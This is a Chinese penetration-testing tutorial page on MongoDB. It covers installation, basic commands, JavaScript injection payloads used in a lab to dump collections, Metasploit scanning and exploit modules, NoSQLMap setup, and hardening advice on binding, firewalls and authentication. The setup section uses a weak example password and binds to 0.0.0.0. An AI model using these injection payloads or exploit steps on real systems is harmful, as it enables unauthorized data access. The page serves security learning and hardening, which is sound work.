1. 程式人生 > 其它 >滲透測試-32:MongoDB

滲透測試-32:MongoDB

基礎知識

  • 埠號:27017

  • 初始資料庫

    • admin:從許可權的角度來看,這是"root"資料庫。要是將一個使用者新增到這個資料庫,這個使用者自動繼承所有資料庫的許可權。一些特定的伺服器端命令也只能從這個資料庫執行,比如列出所有的資料庫或者關閉伺服器

    • local:這個資料永遠不會被複制,可以用來儲存限於本地單臺伺服器的任意集合

    • config:當 Mongo 用於分片設定時,config 資料庫在內部使用,用於儲存分片的相關資訊

  • 安裝 MongoDB

    • windows

      # 下載安裝包,第二個是圖形介面管理工具
      https://fastdl.mongodb.org/windows/mongodb-windows-x86_64-4.4.13.zip
      https://downloads.mongodb.com/compass/mongodb-compass-1.31.2-win32-x64.zip
      
      # 選項:Custom => 不勾選 Install MongoDB Compass => 安裝完畢重啟
      # 配置環境變數:C:\Program Files\MongoDB\Server\4.4\bin
      # 編寫配置檔案,便於後續以配置檔案的方式啟動 MongoDB 服務,建立 C:\mongodb\mongodb.conf 檔案,寫入如下內容,然後儲存
      
      # 系統日誌相關
      systemLog:
        destination: file # 使用檔案儲存日誌
        path: C:\mongodb\log\mongodb.log # 日誌位置,建立 \log 目錄
        logAppend: true # 是否以追加的形式記錄日誌
      
      # 資料相關
      storage:
        journal: # 回滾日誌
          enabled: true
        dbPath: C:\mongodb\data\db # 資料儲存目錄,建立 \data\db 目錄
      
      # 網路配置相關
      net:
        port: 27017 # 預設埠
        bindIp: 0.0.0.0 # 繫結ip,多個ip以逗號分隔
      
      # 將 MongoDB 服務新增 Windows 的服務,以管理員的身份開啟終端
      mongod --config C:\mongodb\mongodb.conf --install
      
      # 在終端開啟 MongoDB 服務
      net start mongodb
      
    • kali

      # 新增軟體包
      apt-get install gnupg
      wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | apt-key add -
      echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | tee /etc/apt/sources.list.d/mongodb-org-4.4.list
      apt-get update
      
      # 最新版安裝
      apt-get install -y mongodb-org
      # 定製版安裝,並鎖定版本
      apt-get install -y mongodb-org=4.4.13 mongodb-org-server=4.4.13 mongodb-org-shell=4.4.13 mongodb-org-mongos=4.4.13 mongodb-org-tools=4.4.13
      echo "mongodb-org hold" | dpkg --set-selections
      echo "mongodb-org-server hold" | dpkg --set-selections
      echo "mongodb-org-shell hold" | dpkg --set-selections
      echo "mongodb-org-mongos hold" | dpkg --set-selections
      echo "mongodb-org-tools hold" | dpkg --set-selections
      
      # 啟動 MongoDB
      systemctl daemon-reload
      systemctl start mongod
      systemctl status mongod
      systemctl enable mongod
      
      # 檢視日誌
      cat /var/log/mongodb/mongod.log
      
      # 配置遠端連線,第 24 行修改 bindIp 為 0.0.0.0
      vim /etc/mongod.conf
      
      # 重啟服務
      systemctl restart mongod
      
      # 開啟互動式shell
      mongo
      
    • 建立使用者

      # 配置服務並設定遠端連線
      mongo
      use admin
      
      # 新建使用者
      db.createUser({user:"Toki",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{"role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})
      
      # 對賬號授權
      db.auth("Toki","123456")
      
      # 遠端登入
      mongo -u Toki -p 123456 <目標機IP>:27017/admin
      
      # 賬號管理命令
      # 修改使用者許可權
      db.updateUser("Toki", {roles:[{role:"readWriteAnyDatabase", db:"admin"}] })
      # 修改使用者密碼
      db.changeUserPassword("Toki","123456")
      # 刪除使用者
      db.dropUser('Toki')
      
  • 常用命令

    MongoDB 可以有多個數據庫,每個資料庫都含有一個或多個集合 collections,每個集合都含有一個或多個文件 documents

    # 建立資料庫
    use <庫名>
    
    # 檢視當前資料庫
    db
    
    # 將資料插入集合
    db.data.insert({"user":"Toki"})
    db.data.insert({"Toki":"123"})
    db.data.insert({"Toki":"456"})
    
    # 檢視資料庫列表
    show dbs
    
    # 查詢資料
    db.data.find()
    
    # 在查詢資料時寫入條件
    db.data.find({"user":"Toki"})
    
    # 刪除資料
    db.data.remove({"Toki":"456"})
    db.data.find()
    
    # 刪除集合
    show collections
    db.data.drop()
    show collections
    
    # 刪除資料庫
    db.dropDatabase()
    show dbs
    

線上靶場

SQL手工注入漏洞測試(MongoDB資料庫)

# 構造連線測試回顯
/new_list.php?id=1'}); return ({title:1,content:'2

# 爆庫
/new_list.php?id=1'}); return ({title:tojson(db),content:'1

# 爆表
# 查詢有的集合(集合相當於mysql的表)
/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
# find函式用於查詢,0是第一條資料
/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

# MD5 破解:https://www.cmd5.com/

MSF滲透Mongodb

MongoDB 預設埠 27017,當配置成無驗證時,存在未授權訪問,使用 msf 中的 scanner/mongodb/mongodb_login 模組進行測試,使用 navicat 連接獲取資料庫中的內容。

# 未授權驗證掃描
use auxiliary/scanner/mongodb/mongodb_login
set rhosts <目標靶機IP>/24
set threads 10
exploit

# exp 利用
use exploit/linux/misc/mongod_native_helper
set password <密碼>
set username <賬戶名>
set rhosts <目標靶機IP>
exploit

自動化評估

NoSQLMap

  • 介紹:

    NoSQLMap 是一個開源的 Python 工具,用於審計和自動化注入攻擊,並利用 NoSQL 資料庫中的預設配置弱點,以及使用 NoSQL 的 Web 應用程式來洩露資料庫中的資料。目前,這個工具的漏洞主要集中在 MongoDB 上,但是在未來的版本中計劃對其他基於 NoSQL 的平臺(如 CouchDB,Redis 和 Cassandra)提供額外的支援。

  • 特性:

    • 自動化的 MongoDB 和 CouchDB 資料庫列舉和克隆攻擊。
    • 通過 MongoDB Web 應用程式提取資料庫名稱,使用者和密碼雜湊。
    • 使用預設訪問和列舉版本掃描 MongoDB 和 CouchDB 資料庫的子網或 IP 列表。
    • 使用強力字典爆破 MongoDB 和 CouchDB 的雜湊。
    • 針對 MongoClient 的 PHP 應用程式引數注入攻擊返回所有資料庫記錄。
    • Javascript 函式變數轉義和任意程式碼注入來返回所有的資料庫記錄。
    • 基於計時的攻擊類似於 SQL 盲注來驗證沒有回顯資訊的 Javascript 注入漏洞。
  • 下載:

    git clone https://github.com/codingo/NoSQLMap.git
    cd NoSQLMap
    
    # 方法一
    python2 setup.py install
    
    # 方法二
    cd docker
    docker build -t nosqlmap .
    
    # 方法三
    docker-compose build
    docker-compose run nosqlmap
    

整改加固建議

本地監聽

如 MongoDB 只需在本地使用,建議只在本地開啟監聽服務,使用 --bind_ip 127.0.0.1 繫結監聽地址

mongod --bind_ip 127.0.0.1 --dbpath /tmp/test

或著在配置檔案中指定監聽 IP,Linux 下預設配置檔案為 /etc/mongod.conf

# network interfaces
net:
  port: 27017
  bindIp: 127.0.0.1

指定配置檔案啟動

mongod --config /etc/mongod.conf

3.0 及之後版本的 MongoDB,監聽服務預設只對 127.0.0.1 開放

限制訪問源

如果僅對內網伺服器提供服務,建議禁止將 MongoDB 服務釋出到網際網路上,並在主機上通過防火牆限制訪問源 IP

  • Linux 使用 iptables 進行限制

    # 允許外部應用訪問 MongoDB 預設服務埠 27017
    iptables -A INPUT -s <需訪問 MongoDB 服務的 IP> -p tcp --destination-port 27017 -m state --state NEW,ESTABLISHED -j ACCEPT
    # 允許 MongoDB 外出流量到達外部應用
    iptables -A OUTPUT -d <需訪問 MongoDB 服務的 IP> -p tcp --source-port 27017 -m state --state ESTABLISHED -j ACCEPT
    
  • Windows 可以通過圖形管理介面新增防火牆策略或使用 netsh 命令新增,參考文件:https://docs.mongodb.com/manual/tutorial/configure-windows-netsh-firewall/

啟動基於角色的登入認證功能

  • MongoDB 支援 SCRAM、x.509 證書認證等多種認證機制,SCRAM(Salted Challenge Response Authentication Mechanism 加鹽挑戰響應認證機制)是 3.x 版本的預設認證機制,該機制通過使用者名稱、密碼驗證,基於使用者角色進行訪問控制。

  • MongoDB 3.0 及以上版本啟動時新增 --auth 引數開啟認證訪問,此時若資料庫中無賬號,本地登入則無許可權進行任何操作,因此需要先以無認證的方式啟動服務並建立系統使用者管理員賬號。

# 以無訪問認證的方式啟動 MongoDB
mongod --dbpath /data/db

# 未開啟認證的環境下,登入到資料庫
mongo --host 127.0.0.1 --port 27017

# 切換到 admin 庫
use admin

# 建立一個系統使用者管理員賬號(3.0 之前版本使用 db.addUser 方法建立使用者)
db.createUser(
  {
    user: "<使用者名稱>",
    pwd: "<密碼>",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
  }
)

# 重啟 MongoDB 服務,開啟訪問認證啟動時新增 --auth 引數
mongod --auth --port 27017 --dbpath /tmp/test
# 或在配置檔案中新增以下內容,指定配置檔案啟動服務
security:
  authorization: enabled
# 指定配置檔案啟動 MongoDB
mongod --config /etc/mongod.conf

# 使用系統使用者管理員賬號登入
mongo --port 27017 -u "<使用者名稱>" -p "<密碼>" --authenticationDatabase "admin"

# 也可以在連線 MongoDB 時不指定認證資訊,連線成功後通過 db.auth() 方法進行認證
use admin
db.auth("<使用者名稱>","<密碼>")

# 建立資料庫使用者,建立完系統使用者管理員賬號並通過系統使用者管理員登陸後,對每個庫建立指定的使用者。
# 下面以對 products 庫建立一個具有讀寫許可權的使用者
use products
db.createUser(
   {
     user: "<使用者名稱>",
     pwd: "<密碼>",
     roles: [ "readWrite", "dbAdmin" ]
   }
)

# 使用資料庫使用者訪問指定庫
mongo --port 27017 -u "<使用者名稱>" -p "<密碼>" --authenticationDatabase "products"